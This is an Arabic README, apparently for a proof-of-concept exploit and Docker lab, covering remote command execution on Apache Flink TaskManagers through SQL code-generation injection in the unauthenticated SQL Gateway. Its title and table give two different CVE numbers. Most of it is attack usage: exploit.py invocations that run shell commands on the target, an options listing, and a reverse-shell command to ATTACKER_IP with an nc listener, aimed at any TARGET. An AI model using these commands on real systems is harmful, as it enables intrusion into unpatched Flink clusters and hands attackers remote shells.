
إثبات المفهوم لاستغلال وبيئة مختبرية لـ CVE-2026-25194
تنفيذ أوامر عن بُعد على عُقد Apache Flink TaskManagers عبر حقن توليد كود SQL.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (عالٍ) |
| CWE | CWE-94 — حقن كود |
| الإصدارات المتأثرة | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| الإصدارات المُصحَّحة | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| سطح الهجوم | SQL Gateway REST API (المنفذ الافتراضي 8083، بدون مصادقة) |
docker compose up -d
انتظر حوالي 30 ثانية حتى تبدأ المجموعة. تظهر خدمتان:
http://localhost:8081http://localhost:8083للتحقق:
curl -s http://localhost:8083/v1/info
# يجب أن يُرجع الإصدار "1.20.3"
pip install requests
متجه JSON:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
متجه LIKE:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
فحص الإصدار فقط (بدون تنفيذ أوامر):
python3 exploit.py localhost -p 8083 --check-only
التحقق من تنفيذ الأوامر على TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# الطرفية 1 — المُستمِع
nc -lvnp 4444
# الطرفية 2 — الاستغلال
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
لأغراض البحث الأمني المصرح به والتعليم فقط.